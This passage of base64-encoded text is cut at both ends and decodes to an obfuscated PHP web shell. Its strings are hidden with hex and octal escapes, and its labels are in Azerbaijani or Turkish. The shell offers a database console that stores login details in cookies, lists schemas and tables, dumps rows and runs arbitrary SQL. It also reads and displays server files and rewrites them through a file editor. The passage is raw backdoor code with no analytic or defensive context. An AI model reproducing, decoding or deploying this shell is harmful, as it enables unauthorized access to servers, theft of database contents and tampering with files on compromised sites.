jBceDYxXHg2ZVx4MjBcMTQzXHg2Y1x4NjFceDczXDE2M1x4M2RcNDdcMTYxXHg2MVx4NmNceDY5XHg2ZVx4MjdcNzYiIC4gaHRtbHNwZWNpYWxjaGFycygkZmF5bEFkaSkgLiAiXHgzY1w1N1wxNjNceDcwXHg2MVwxNTZcNzZceDNjXHg2Mlx4NzJcNTdceDNlXDc0XDE0Mlx4NzVceDc0XDE2NFwxNTdcMTU2XHgyMFwxNDNcMTU0XDE0MVx4NzNcMTYzXDc1XHgyN1wxNDJcMTY0XDE1Nlx4Mjd7JGVsYXZlQnRufVw3Nlx4MjBceDQ0XHgyNlx4MjNceDM2XDYwXHgzMVw3M1wxNzFcMTUxXHgyNlw0M1x4MzNceDM1XHgzMVw3M1w0MFw3NFx4MmZcMTQyXDE2NVx4NzRceDc0XHg2Zlx4NmVceDNlXDc0XHgyZlwxNDRceDY5XDE2Nlw3NiI7IHByaW50ICJcNzRcMTQ0XDE1MVwxNjZceDIwXHg2M1x4NmNceDYxXDE2M1x4NzNcNzVceDI3XDE0NlwxNDFceDc5XDE1NFx4NWZcMTU3XDE3MFx4NzVcNDdcNzYiIC4gaGlnaGxpZ2h0X3N0cmluZyhmaWxlX2dldF9jb250ZW50cygkZGVmYXVsdF9kaXIgLiAkYXlpcmljaSAuICRmYXlsQWRpKSwgdHJ1ZSkgLiAiXDc0XDU3XHg2NFwxNTFcMTY2XDc2IjsgfSB9IGVsc2UgeyBpZiAoJG5lID09ICJceDczXHg2YlwxNTQiKSB7ICRob3N0ID0gaXNzZXQoJF9DT09LSUVbIlwxNTBceDZmXHg3M1x4NzQiXSkgPyAkX0NPT0tJRVsiXHg2OFx4NmZcMTYzXHg3NCJdIDogJyc7ICR1c2VyID0gaXNzZXQoJF9DT09LSUVbIlwxNjVcMTYzXHg2NVwxNjIiXSkgPyAkX0NPT0tJRVsiXDE2NVx4NzNceDY1XHg3MiJdIDogJyc7ICRwYXJvbCA9IGlzc2V0KCRfQ09PS0lFWyJcMTYwXDE0MVwxNjJceDZmXHg2YyJdKSA/ICRfQ09PS0lFWyJcMTYwXHg2MVwxNjJceDZmXDE1NCJdIDogJyc7ICRiYXphID0gaXNzZXQoJF9DT09LSUVbIlwxNDJcMTQxXHg3YVwxNDEiXSkgPyAkX0NPT0tJRVsiXHg2Mlx4NjFceDdhXDE0MSJdIDogJyc7IGlmIChpc3NldCgkX1BPU1RbIlx4NjhcMTU3XHg3M1wxNjQiXSwgJF9QT1NUWyJcMTY1XHg3M1wxNDVceDcyIl0sICRfUE9TVFsiXDE2MFx4NjFceDcyXHg2Zlx4NmMiXSkgJiYgaXNfc3RyaW5nKCRfUE9TVFsiXDE1MFwxNTdcMTYzXDE2NCJdKSAmJiBpc19zdHJpbmcoJF9QT1NUWyJcMTY1XDE2M1wxNDVceDcyIl0pICYmIGlzX3N0cmluZygkX1BPU1RbIlx4NzBceDYxXDE2MlwxNTdcMTU0Il0pKSB7ICRob3N0ID0gJF9QT1NUWyJcMTUwXHg2Zlx4NzNceDc0Il07ICR1c2VyID0gJF9QT1NUWyJceDc1XHg3M1wxNDVceDcyIl07ICRwYXJvbCA9ICRfUE9TVFsiXDE2MFwxNDFcMTYyXHg2ZlwxNTQiXTsgJGJhemEgPSAnJzsgc2V0Y29va2llKCJcMTUwXHg2Zlx4NzNcMTY0IiwgJGhvc3QsIHRpbWUoKSArIDM2MDAwMCk7IHNldGNvb2tpZSgiXHg3NVx4NzNceDY1XHg3MiIsICR1c2VyLCB0aW1lKCkgKyAzNjAwMDApOyBzZXRjb29raWUoIlx4NzBcMTQxXHg3Mlx4NmZceDZjIiwgJHBhcm9sLCB0aW1lKCkgKyAzNjAwMDApOyBzZXRjb29raWUoIlwxNDJceDYxXHg3YVx4NjEiLCAkYmF6YSwgdGltZSgpICsgMzYwMDAwKTsgfSBpZiAoaXNzZXQoJF9QT1NUWyJceDYyXHg2MVx4N2FcMTQxIl0pICYmIGlzX3N0cmluZygkX1BPU1RbIlwxNDJceDYxXDE3MlwxNDEiXSkpIHsgJGJhemEgPSAkX1BPU1RbIlx4NjJceDYxXDE3MlwxNDEiXTsgc2V0Y29va2llKCJcMTQyXHg2MVx4N2FceDYxIiwgJGJhemEsIHRpbWUoKSArIDM2MDAwMCk7IH0gJGJhemFTdHIgPSBlbXB0eSgkYmF6YSkgPyAnJyA6ICJcMTQ0XDE0Mlx4NmVceDYxXHg2ZFx4NjVcNzUiIC4gJGJhemEgLiAiXHgzYiI7ID8+Cjxmb3JtIG1ldGhvZD0iUE9TVCI+PGlucHV0IHZhbHVlPSJza2wibmFtZT0ibmUidHlwZT0iaGlkZGVuIj4gPGlucHV0IHZhbHVlPSI8P3BocCAgZWNobyBodG1sc3BlY2lhbGNoYXJzKCRob3N0KTsgPz4KIm5hbWU9Imhvc3QicGxhY2Vob2xkZXI9Ikhvc3RuYW1lIj4gPGlucHV0IHZhbHVlPSI8P3BocCAgZWNobyBodG1sc3BlY2lhbGNoYXJzKCR1c2VyKTsgPz4KIm5hbWU9InVzZXIicGxhY2Vob2xkZXI9IlVzZXIiPiA8aW5wdXQgdmFsdWU9Ijw/cGhwICBlY2hvIGh0bWxzcGVjaWFsY2hhcnMoJHBhcm9sKTsgPz4KIm5hbWU9InBhcm9sInBsYWNlaG9sZGVyPSJQYXJvbCI+IDxpbnB1dCB2YWx1ZT0iRGF4aWwgb2widHlwZT0ic3VibWl0Ij48L2Zvcm0+PD9waHAgIGlmICghZW1wdHkoJGhvc3QpKSB7IHRyeSB7ICRwZG8gPSBuZXcgUERPKCJceDZkXDE3MVx4NzNcMTYxXDE1NFx4M2FceDY4XDE1N1x4NzNcMTY0XHgzZCIgLiAkaG9zdCAuICJceDNiXDE0M1wxNTBceDYxXDE2Mlx4NzNceDY1XHg3NFx4M2RceDc1XHg3NFwxNDZcNzBceDNiIiAuICRiYXphU3RyLCAkdXNlciwgJHBhcm9sLCBhcnJheShQRE86Ok1ZU1FMX0FUVFJfSU5JVF9DT01NQU5EID0+ICJcMTIzXHg0NVwxMjRcNDBceDRlXHg0MVwxMTVceDQ1XHg1M1x4MjBceDI3XDE2NVwxNjRceDY2XDcwXDQ3IikpOyAkcGRvLT5zZXRBdHRyaWJ1dGUoUERPOjpBVFRSX0RFRkFVTFRfRkVUQ0hfTU9ERSwgUERPOjpGRVRDSF9BU1NPQyk7ICRzY2hlbWF0YXMgPSAkcGRvLT5xdWVyeSgiXDEyM1wxMDVcMTE0XDEwNVx4NDNceDU0XDQwXHg3M1x4NjNceDY4XHg2NVwxNTVceDYxXDEzN1wxNTZcMTQxXDE1NVx4NjVcNDBcMTA2XHg1MlwxMTdcMTE1XHgyMFwxNTFcMTU2XHg2NlwxNTdceDcyXDE1NVwxNDFcMTY0XHg2OVx4NmZceDZlXDEzN1x4NzNceDYzXDE1MFwxNDVceDZkXHg2MVx4MmVceDczXDE0M1x4NjhcMTQ1XDE1NVwxNDFceDc0XDE0MSIpOyBwcmludCAiXDc0XDE0NlwxNTdceDcyXDE1NVx4MjBceDZkXDE0NVx4NzRceDY4XDE1N1x4NjRceDNkXDQyXHg1MFwxMTdceDUzXHg1NFx4MjJceDNlXHgzY1x4NjlcMTU2XHg3MFwxNjVcMTY0XHgyMFx4NzRcMTcxXDE2MFwxNDVcNzVceDIyXHg2OFx4NjlceDY0XHg2NFwxNDVceDZlXDQyXHgyMFx4NmVcMTQxXDE1NVx4NjVcNzVcNDJceDZlXHg2NVx4MjJceDIwXDE2Nlx4NjFcMTU0XHg3NVx4NjVcNzVcNDJceDczXHg2YlwxNTRcNDJceDNlXDc0XHg3M1wxNDVceDZjXHg2NVx4NjNceDc0XDQwXDE1NlwxNDFcMTU1XDE0NVx4M2RcNDJceDYyXHg2MVwxNzJcMTQxXHgyMlx4M2UiOyBmb3JlYWNoICgkc2NoZW1hdGFzLT5mZXRjaEFsbCgpIGFzICRzY2hlbWFOYW1lKSB7IHByaW50ICJceDNjXDE1N1wxNjBceDc0XHg2OVwxNTdceDZlIiAuICgkYmF6YSA9PSAkc2NoZW1hTmFtZVsiXHg3M1wxNDNceDY4XDE0NVwxNTVceDYxXDEzN1wxNTZceDYxXDE1NVx4NjUiXSA/ICJcNDBcMTYzXDE0NVwxNTRceDY1XHg2M1wxNjRceDY1XDE0NCIgOiAnJykgLiAiXHgzZSIgLiBodG1sc3BlY2lhbGNoYXJzKCRzY2hlbWFOYW1lWyJceDczXHg2M1wxNTBceDY1XHg2ZFwxNDFcMTM3XDE1NlwxNDFceDZkXDE0NSJdKSAuICJcNzRceDJmXDE1N1wxNjBceDc0XHg2OVwxNTdcMTU2XHgzZSI7IH0gcHJpbnQgIlw3NFw1N1wxNjNceDY1XDE1NFwxNDVceDYzXHg3NFw3Nlx4MjBcNzRcMTUxXDE1Nlx4NzBcMTY1XDE2NFw0MFx4NzRceDc5XDE2MFwxNDVceDNkXDQyXHg3M1wxNjVcMTQyXHg2ZFx4NjlceDc0XHgyMlx4MjBceDc2XHg2MVx4NmNcMTY1XHg2NVw3NVx4MjJceDUzXHg2NVwxNDNceDY4XHgyMVw0Mlx4M2VcNzRcNTdcMTQ2XHg2ZlwxNjJcMTU1XHgzZSI7IGlmICghZW1wdHkoJGJhemEpKSB7ICR0YWJsZXMgPSAkcGRvLT5wcmVwYXJlKCJcMTIzXDEwNVwxMTRceDQ1XHg0M1x4NTRceDIwXDE2NFx4NjFcMTQyXDE1NFwxNDVceDVmXDE1NlwxNDFceDZkXDE0NVx4MjBcMTQ2XHg3MlwxNTdcMTU1XDQwXHg2OVx4NmVcMTQ2XDE1N1x4NzJceDZkXDE0MVx4NzRceDY5XHg2ZlwxNTZcMTM3XDE2M1wxNDNcMTUwXHg2NVx4NmRceDYxXDU2XDE2NFwxNDFceDYyXDE1NFwxNDVceDczXDQwXDE2N1x4NjhcMTQ1XDE2MlwxNDVceDIwXHg3NFwxNDFceDYyXDE1NFwxNDVceDVmXHg3M1x4NjNceDY4XHg2NVx4NmRceDYxXDc1XDc3Iik7ICR0YWJsZXMtPmV4ZWN1dGUoYXJyYXkoJGJhemEpKTsgJHRhYmxlcyA9ICR0YWJsZXMtPmZldGNoQWxsKCk7IHByaW50ICJcNzRcMTQ0XDE1MVwxNjZceDIwXDE2M1x4NzRceDc5XHg2Y1wxNDVcNzVcNDJceDY2XHg2Y1x4NmZcMTQxXDE2NFx4M2FceDIwXDE1NFx4NjVceDY2XHg3NFw3M1x4MjBceDc3XHg2OVwxNDRceDc0XDE1MFw3Mlx4MjBcNjJceDMwXDQ1XHgzYlw0MFx4NmZceDc2XDE0NVwxNjJceDY2XHg2Y1x4NmZceDc3XHgzYVx4MjBceDYxXDE2NVwxNjRcMTU3XDczXDQwXHg2MlwxNTdcMTYyXDE0NFwxNDVcMTYyXDU1XDE2Mlx4NjlceDY3XDE1MFx4NzRcNzJceDIwXDYxXHg3MFx4NzhceDIwXDE2M1x4NmZceDZjXDE1MVwxNDRcNDBcNDNcNzFceDM5XHgzOVx4M2JceDIyXHgzZSI7IHByaW50ICJcNzRceDYxXDQwXHg2OFwxNjJceDY1XDE0Nlx4M2RcNDJcMTUyXHg2MVwxNjZcMTQxXHg3M1x4NjNcMTYyXDE1MVwxNjBcMTY0XDcyXHg3M1wxNDVcMTUwXDE1MVx4NjZceDY1XHgyOFw0N1w3N1x4NmVcMTQ1XHgzZFwxNjNceDZiXDE1NFwxMzdcMTQ0XHgyN1x4MjlceDNiXHgyMlx4M2VceDIxXDQxXHgyMFx4NDRcMTY1XHg2ZFx4NzBceDIwXHg0NFx4NDJceDIwXDQxXDQxXHgzY1x4MmZceDYxXDc2XDc0XHg2OFwxNjJceDNlIjsgZm9yZWFjaCAoJHRhYmxlcyBhcyAkdGFibGVOYW1lKSB7ICR0YWJsZU5hbWUgPSAkdGFibGVOYW1lWyJceDc0XDE0MVx4NjJcMTU0XHg2NVx4NWZceDZlXDE0MVwxNTVceDY1Il07IHByaW50ICJceDNjXHg2MVx4MjBcMTUwXDE2MlwxNDVcMTQ2XDc1XHgyMlwxNTJceDYxXDE2Nlx4NjFceDczXDE0M1wxNjJcMTUxXHg3MFwxNjRcNzJceDczXHg2NVwxNTBcMTUxXHg2NlwxNDVcNTBcNDdcNzdcMTU2XHg2NVx4M2RcMTYzXHg2YlwxNTRceDI2XDE2NFw3NSIgLiB1cmxlbmNvZGUodXJsZW5jb2RlKHNoaWZyZWxlKCR0YWJsZU5hbWUpKSkgLiAiXHgyN1w1MVx4MjJceDNlIiAuIGh0bWxzcGVjaWFsY2hhcnMoJHRhYmxlTmFtZSkgLiAiXHgzY1w1N1x4NjFceDNlXDc0XDE0Mlx4NzJceDNlIjsgfSBwcmludCAiXDc0XHgyZlwxNDRcMTUxXDE2Nlw3NiI7IHByaW50ICJcNzRcMTQ0XHg2OVx4NzZceDIwXDE2M1wxNjRcMTcxXDE1NFwxNDVcNzVceDIyXHg2NlwxNTRceDZmXHg2MVwxNjRceDNhXDQwXHg2Y1wxNDVcMTQ2XDE2NFw3M1w0MFx4NzBceDYxXDE0NFx4NjRceDY5XDE1NlwxNDdcNTVceDZjXHg2NVwxNDZceDc0XHgzYVw0MFw2MVx4MzBceDcwXHg3OFw3M1w0MFx4NzdcMTUxXHg2NFx4NzRcMTUwXDcyXHgyMFx4MzdcNjVceDI1XDczXHgyMlx4M2UiOyBpZiAoaXNzZXQoJF9QT1NUWyJceDc0Il0pICYmIGlzX3N0cmluZygkX1BPU1RbIlx4NzQiXSkgJiYgIWVtcHR5KCRfUE9TVFsiXDE2NCJdKSkgeyAkdGFibGVOYW1lID0gZGVzaGlmcmVsZSh1cmxkZWNvZGUoJF9QT1NUWyJcMTY0Il0pKTsgcHJpbnQgIlx4M2NcMTYzXHg3MFwxNDFcMTU2XHgyMFwxNDNceDZjXHg2MVwxNjNcMTYzXHgzZFw0Mlx4NzFcMTQxXHg2Y1x4NjlceDZlXHgyMlw3Nlx4NTRcMTQxXHg2Mlx4NmNcMTQ1XHgzYVw3NFw1N1x4NzNcMTYwXDE0MVwxNTZcNzZcNDAiIC4gaHRtbHNwZWNpYWxjaGFycygkdGFibGVOYW1lKSAuICJcNDBcNTBcNDBcNzRceDYxXHgyMFx4NjhcMTYyXHg2NVwxNDZceDNkXDQyXHg2YVx4NjFcMTY2XDE0MVx4NzNceDYzXDE2Mlx4NjlceDcwXDE2NFw3Mlx4NzNceDY1XDE1MFx4NjlcMTQ2XHg2NVx4MjhcNDdceDNmXHg2ZVwxNDVcNzVcMTYzXDE1M1x4NmNcMTM3XHg2NFwxMzdcMTY0XHgyNlwxNjRceDNkIiAuIHVybGVuY29kZSh1cmxlbmNvZGUoc2hpZnJlbGUoJHRhYmxlTmFtZSkpKSAuICJceDI3XHgyOVw0Mlw3NlwxMDRcMTY1XDE1NVx4NzBceDNjXDU3XDE0MVw3Nlw0MFw1MVw3NFwxNDJceDcyXHgzZSI7ICRnZXRDb2x1bW5zID0gJHBkby0+cHJlcGFyZSgiXHg1M1wxMDVceDRjXDEwNVx4NDNcMTI0XDQwXDE0M1x4NmZceDZjXDE2NVx4NmRcMTU2XDEzN1wxNTZceDYxXHg2ZFx4NjVceDIwXDE0NlwxNjJcMTU3XHg2ZFx4MjBcMTUxXDE1Nlx4NjZcMTU3XHg3MlwxNTVcMTQxXHg3NFwxNTFcMTU3XDE1Nlx4NWZceDczXHg2M1x4NjhcMTQ1XHg2ZFwxNDFceDJlXHg2M1wxNTdceDZjXHg3NVwxNTVceDZlXHg3M1x4MjBcMTY3XDE1MFwxNDVcMTYyXHg2NVw0MFx4NzRcMTQxXHg2MlwxNTRceDY1XHg1ZlwxNjNceDYzXDE1MFwxNDVcMTU1XHg2MVx4M2RceDNmXDQwXHg2MVx4NmVcMTQ0XDQwXHg3NFx4NjFceDYyXHg2Y1x4NjVcMTM3XDE1NlwxNDFceDZkXDE0NVw3NVx4M2YiKTsgJGdldENvbHVtbnMtPmV4ZWN1dGUoYXJyYXkoJGJhemEsICR0YWJsZU5hbWUpKTsgJGNvbHVtbnMgPSAkZ2V0Q29sdW1ucy0+ZmV0Y2hBbGwoKTsgaWYgKCRjb2x1bW5zKSB7ICRkYXRhQ291bnQgPSAkcGRvLT5xdWVyeSgiXHg1M1x4NDVcMTE0XDEwNVx4NDNcMTI0XHgyMFwxNDNcMTU3XDE2NVwxNTZcMTY0XHgyOFw2MFw1MVx4MjBcMTAxXHg1M1x4MjBcMTYzXDE2M1x4MjBcMTQ2XHg3Mlx4NmZceDZkXHgyMFwxNDAiIC4gJHRhYmxlTmFtZSAuICJcMTQwIik7ICRkYXRhQ291bnQgPSAoaW50KSAkZGF0YUNvdW50LT5mZXRjaENvbHVtbigpOyBwcmludCAiXHgzY1wxNjNceDcwXHg2MVwxNTZceDIwXDE0M1x4NmNceDYxXHg3M1x4NzNceDNkXHgyMlx4NzFcMTQxXDE1NFx4NjlceDZlXHgyMlx4M2VcMTAzXDE1N1wxNjVcMTU2XDE2NFx4M2FceDNjXHgyZlwxNjNceDcwXHg2MVx4NmVcNzZcNDAiIC4gJGRhdGFDb3VudCAuICJcNzRceDYyXHg3Mlw3Nlx4M2NcMTQyXHg3Mlx4M2UiOyAkcGFnZXMgPSBjZWlsKCRkYXRhQ291bnQgLyAxMDApOyAkY3VycmVudFBhZ2UgPSBpc3NldCgkX1BPU1RbIlx4NzNceDY1XDE1MFx4NjlceDY2XHg2NSJdKSAmJiBpc19udW1lcmljKCRfUE9TVFsiXDE2M1wxNDVcMTUwXDE1MVx4NjZceDY1Il0pICYmICRfUE9TVFsiXHg3M1wxNDVceDY4XDE1MVx4NjZcMTQ1Il0gPj0gMSAmJiAkX1BPU1RbIlx4NzNceDY1XHg2OFx4NjlceDY2XDE0NSJdIDw9ICRwYWdlcyA/IChpbnQpICRfUE9TVFsiXDE2M1wxNDVcMTUwXDE1MVwxNDZceDY1Il0gOiAxOyBmb3IgKCRwID0gMTsgJHAgPD0gJHBhZ2VzOyAkcCsrKSB7IHByaW50ICJceDNjXHg2MVw0MFx4NzNcMTY0XDE3MVwxNTRceDY1XHgzZFx4MjIiIC4gKCRjdXJyZW50UGFnZSA9PSAkcCA/ICJceDYyXHg2MVx4NjNcMTUzXDE0N1x4NzJcMTU3XHg3NVwxNTZceDY0XHgzYVw0MFw0M1x4MzRceDM0XDY0XHgzYiIgOiAnJykgLiAiXDE1NVwxNDFceDcyXDE0N1x4NjlcMTU2XDU1XHg2Y1wxNDVceDY2XDE2NFx4M2FcNDBceDMyXHg3MFx4NzhcNzNcNDBceDZkXDE0MVwxNjJcMTQ3XDE1MVx4NmVceDJkXHg2MlwxNTdceDc0XHg3NFx4NmZceDZkXDcyXHgyMFx4MzVceDcwXHg3OFw3M1x4MjBceDcwXHg2MVx4NjRceDY0XHg2OVx4NmVceDY3XHgzYVw0MFw2MlwxNjBceDc4XHgyMFw2Nlx4NzBceDc4XDczXDQwXHg2Mlx4NmZceDcyXDE0NFx4NjVcMTYyXHgzYVx4MjBceDMxXHg3MFwxNzBceDIwXDE2M1x4NmZceDZjXDE1MVwxNDRceDIwXDQzXDEwMVx4NDNcMTAyXHgzN1w2NVx4MzRcNzNceDIwXDE2NFwxNDVceDc4XHg3NFw1NVx4NjRceDY1XHg2M1wxNTdcMTYyXDE0MVwxNjRcMTUxXDE1N1wxNTZcNzJceDIwXDE1NlwxNTdcMTU2XHg2NVx4M2JceDIyXDQwXDE1MFwxNjJcMTQ1XDE0Nlx4M2RceDIyXHg2YVx4NjFcMTY2XHg2MVwxNjNcMTQzXDE2Mlx4NjlcMTYwXHg3NFw3MlwxNjNcMTQ1XHg2OFwxNTFceDY2XHg2NVw1MFx4MjdcNzdcMTU2XDE0NVx4M2RceDczXDE1M1x4NmNceDI2XHg3NFx4M2QiIC4gdXJsZW5jb2RlKHVybGVuY29kZShzaGlmcmVsZSgkdGFibGVOYW1lKSkpIC4gIlx4MjZcMTYzXHg2NVwxNTBcMTUxXDE0Nlx4NjVcNzUiIC4gJHAgLiAiXHgyN1x4MjlceDNiXHgyMlx4M2UiIC4gJHAgLiAiXDc0XHgyZlx4NjFcNzZceDIwIjsgfSBwcmludCAiXDc0XDE0Mlx4NzJcNzZceDNjXDE0MlwxNjJceDNlIjsgJHN0YXJ0ID0gMTAwICogKCRjdXJyZW50UGFnZSAtIDEpOyAkZGF0YSA9ICRwZG8tPnF1ZXJ5KCJceDUzXHg0NVwxMTRcMTA1XHg0M1x4NTRcNDBceDJhXDQwXDEwNlwxMjJceDRmXDExNVx4MjBcMTQwIiAuICR0YWJsZU5hbWUgLiAiXHg2MFw0MFwxMTRceDQ5XDExNVwxMTFcMTI0XDQwIiAuICRzdGFydCAuICJceDIwXDU0XDQwXHgzMVw2MFw2MCIpOyAkZGF0YSA9ICRkYXRhLT5mZXRjaEFsbCgpOyBwcmludCAiXDc0XHg3NFx4NjFceDYyXDE1NFx4NjVcNzZceDNjXDE2NFwxNTBceDY1XDE0MVwxNDRceDNlIjsgZm9yZWFjaCAoJGNvbHVtbnMgYXMgJGNvbHVtbkluZikgeyBwcmludCAiXHgzY1x4NzRceDY4XHgzZSIgLiBodG1sc3BlY2lhbGNoYXJzKCRjb2x1bW5JbmZbIlwxNDNceDZmXHg2Y1x4NzVceDZkXDE1Nlx4NWZcMTU2XDE0MVwxNTVceDY1Il0pIC4gIlw3NFw1N1x4NzRceDY4XDc2IjsgfSBwcmludCAiXDc0XHgyZlwxNjRcMTUwXDE0NVwxNDFceDY0XHgzZVx4M2NceDc0XHg2MlwxNTdcMTQ0XHg3OVw3NiI7IGZvcmVhY2ggKCRkYXRhIGFzICRyb3cpIHsgcHJpbnQgIlx4M2NcMTY0XDE2Mlw3NiI7IGZvcmVhY2ggKCRyb3cgYXMgJGtleSA9PiAkdmFsKSB7IHByaW50ICJcNzRceDc0XDE0NFx4M2VceDNjXHg2NFx4NjlceDc2XDc2IiAuICR2YWwgLiAiXDc0XHgyZlwxNDRcMTUxXDE2Nlx4M2VcNzRceDJmXHg3NFx4NjRceDNlIjsgfSBwcmludCAiXDc0XDU3XDE2NFx4NzJcNzYiOyB9IHByaW50ICJcNzRcNTdceDc0XHg3Mlw3Nlw3NFw1N1wxNjRcMTQyXHg2ZlwxNDRceDc5XDc2XDc0XHgyZlx4NzRcMTQxXHg2Mlx4NmNceDY1XDc2IjsgfSBlbHNlIHsgcHJpbnQgIlwxMjRceDYxXDE0Mlx4NmNceDY1XHgyMFx4NmVcMTU3XHg3NFx4MjBceDY2XDE1N1x4NzVceDZlXDE0NFw0MSI7IH0gfSBlbHNlIHsgaWYgKGlzc2V0KCRfUE9TVFsiXHg2NVwxNTVcMTYyIl0pICYmIGlzX3N0cmluZygkX1BPU1RbIlx4NjVcMTU1XHg3MiJdKSAmJiAhZW1wdHkoJF9QT1NUWyJcMTQ1XHg2ZFwxNjIiXSkpIHsgJGVtciA9IGRlc2hpZnJlbGUodXJsZGVjb2RlKCRfUE9TVFsiXDE0NVwxNTVcMTYyIl0pKTsgcHJpbnQgIlx4M2NceDczXDE2MFx4NjFcMTU2XHgyMFwxNDNceDZjXHg2MVx4NzNcMTYzXHgzZFx4MjJceDcxXDE0MVx4NmNceDY5XHg2ZVx4MjJcNzZceDUzXHg1MVx4NGNceDIwXDE0NVx4NmRceDcyXDcyXHgzY1x4MmZceDczXHg3MFwxNDFceDZlXDc2XHgyMCIgLiBodG1sc3BlY2lhbGNoYXJzKCRlbXIpIC4gIlx4M2NcMTQyXDE2Mlw3NiI7ICRkYXRhID0gJHBkby0+cXVlcnkoJGVtcik7ICRkYXRhID0gJGRhdGEtPmZldGNoQWxsKCk7IHByaW50ICJceDNjXHg3NFx4NjFcMTQyXDE1NFwxNDVcNzZceDNjXDE2NFx4NjhceDY1XDE0MVx4NjRcNzYiOyBpZiAoY291bnQoJGRhdGEpID4gMCkgeyBwcmludCAiXDc0XHg3NFwxNjJcNzYiOyBmb3JlYWNoICgkZGF0YVswXSBhcyAka2V5ID0+ICR2YWwpIHsgcHJpbnQgIlx4M2NceDc0XHg2OFx4M2VceDNjXDE0NFx4NjlcMTY2XHgzZSIgLiAka2V5IC4gIlw3NFx4MmZcMTQ0XHg2OVwxNjZceDNlXDc0XDU3XHg3NFx4NjhceDNlIjsgfSBwcmludCAiXHgzY1x4MmZcMTY0XDE2Mlw3NiI7IH0gcHJpbnQgIlx4M2NceDJmXHg3NFwxNTBcMTQ1XHg2MVwxNDRcNzZceDNjXHg3NFwxNDJcMTU3XDE0NFx4NzlcNzYiOyBmb3JlYWNoICgkZGF0YSBhcyAkcm93KSB7IHByaW50ICJcNzRcMTY0XHg3Mlw3NiI7IGZvcmVhY2ggKCRyb3cgYXMgJGtleSA9PiAkdmFsKSB7IHByaW50ICJceDNjXDE2NFx4NjRceDNlXHgzY1x4NjRceDY5XDE2Nlw3NiIgLiAkdmFsIC4gIlw3NFw1N1x4NjRcMTUxXHg3Nlx4M2VceDNjXHgyZlx4NzRceDY0XDc2IjsgfSBwcmludCAiXDc0XHgyZlwxNjRcMTYyXDc2IjsgfSBwcmludCAiXHgzY1w1N1wxNjRcMTYyXDc2XDc0XDU3XHg3NFwxNDJceDZmXDE0NFwxNzFcNzZcNzRceDJmXHg3NFwxNDFcMTQyXHg2Y1wxNDVceDNlIjsgfSB9IHByaW50ICJceDNjXDE0NFx4NjlceDc2XDc2XHgzY1x4NzRcMTQ1XDE3MFx4NzRceDYxXHg3Mlx4NjVcMTQxXDQwXDE1MVwxNDRceDNkXDQyXDE2M1x4NmJceDZjXDEzN1x4NjVceDZkXDE2Mlw0Mlx4M2VcNzRceDJmXDE2NFx4NjVceDc4XHg3NFwxNDFceDcyXHg2NVx4NjFceDNlXDc0XHg2MlwxNjVcMTY0XDE2NFx4NmZcMTU2XDQwXDE2NFx4NzlceDcwXDE0NVx4M2RcNDJceDYyXHg3NVwxNjRceDc0XDE1N1x4NmVcNDJcNDBceDZmXDE1Nlx4NjNcMTU0XHg2OVwxNDNcMTUzXHgzZFx4MjJceDczXDE1M1x4NmNcMTM3XHg2MlwxNDFceDczXHgyOFw1MVx4M2JceDIyXHgzZVx4NDJcMTQxXHg3M1x4MjBcMTU1XHg2NVwxNTZceDY1XDc0XHgyZlx4NjJceDc1XHg3NFwxNjRcMTU3XHg2ZVw3Nlx4M2NceDJmXDE0NFx4NjlceDc2XHgzZSI7IHByaW50ICJcNzRcNTdcMTQ0XHg2OVx4NzZcNzYiOyBwcmludCAiXDc0XDE0NFx4NjlcMTY2XDQwXHg3M1wxNjRceDc5XDE1NFwxNDVcNzVceDIyXHg2M1x4NmNcMTQ1XDE0MVx4NzJcNzJceDIwXHg2MlwxNTdcMTY0XDE1MFw3M1x4MjJcNzZceDNjXHgyZlwxNDRcMTUxXHg3Nlx4M2UiOyB9IH0gY2F0Y2ggKEV4Y2VwdGlvbiAkZSkgeyBwcmludCAkZS0+Z2V0TWVzc2FnZSgpOyB9IH0gfSBlbHNlIHsgaWYgKCRuZSA9PSAiXDE0NlwxNDFceDc5XDE1NFwxMzdceDcyXHg2NVx4NjRceDYxXDE1M1x4NzRceDY1IiAmJiBpc3NldCgkX1BPU1RbIlwxNDZceDYxXHg3OVx4NmMiXSkgJiYgJycgIT0gdHJpbSgkX1BPU1RbIlx4NjZceDYxXHg3OVwxNTQiXSkpIHsgJGZheWxBZGkgPSBiYXNlbmFtZShkZXNoaWZyZWxlKHVybGRlY29kZSh1cmxkZWNvZGUoJF9QT1NUWyJcMTQ2XHg2MVwxNzFcMTU0Il0pKSkpOyAkYXlpcmljaSA9IHN1YnN0cigkZGVmYXVsdF9kaXIsIHN0cmxlbigkZGVmYXVsdF9kaXIpIC0gMSkgIT0gIlw1NyIgJiYgc3Vic3RyKCRmYXlsQWRpLCAwLCAxKSAhPSAiXDU3IiA/ICJcNTciIDogJyc7IGlmIChpc19maWxlKCRkZWZhdWx0X2RpciAuICRheWlyaWNpIC4gJGZheWxBZGkpICYmIGlzX3JlYWRhYmxlKCRkZWZhdWx0X2RpciAuICRheWlyaWNpIC4gJGZheWxBZGkpKSB7ICRzdGF0dXMgPSAnJzsgaWYgKGlzc2V0KCRfUE9TVFsiXDE0M1wxNTdcMTU2XDE2NFwxNDVcMTU2XHg3NCJdKSAmJiBpc3NldCgkX1BPU1RbIlx4NzRceDZmXHg2ZlwxNTMiXSkgJiYgJF9QT1NUWyJceDc0XHg2Zlx4NmZceDZiIl0gIT0gJycgJiYgaXNzZXQoJF9TRVNTSU9OWyJcMTcxXDE2M1x4NWZcMTY0XDE1N1wxNTdceDZiIl0pICYmICRfU0VTU0lPTlsiXDE3MVwxNjNceDVmXDE2NFx4NmZcMTU3XHg2YiJdID09ICRfUE9TVFsiXHg3NFwxNTdcMTU3XHg2YiJdICYmIGlzX3dyaXRlYWJsZSgkZGVmYXVsdF9kaXIgLiAkYXlpcmljaSAuICRmYXlsQWRpKSkgeyB1bnNldCgkX1NFU1NJT05bIlx4NzlceDczXHg1ZlwxNjRceDZmXDE1N1x4NmIiXSk7ICRjb250ZW50ID0gJF9QT1NUWyJcMTQzXHg2Zlx4NmVcMTY0XHg2NVx4NmVceDc0Il07ICRjYyA9IGFycmF5KCJcMTQxIiwgIlwxNTEiLCAiXDE0NSIsICJcMTYzIiwgIlx4NmMiLCAiXHg2MiIsICJceDc1IiwgIlwxNTciLCAiXDE2MCIsICJceDY4IiwgIlx4MjgiLCAiXDUxIiwgIlw3NCIsICJcNzYiLCAiXHgzZiIsICJceDNiIiwgIlwxMzMiLCAiXHg1ZCIsICJceDI0Iik7IGZvcmVhY2ggKCRjYyBhcyAkazEgPT4gJHYxKSB7ICRjb250ZW50ID0gc3RyX3JlcGxhY2UoIlwxNzRceDNhIiAuICRrM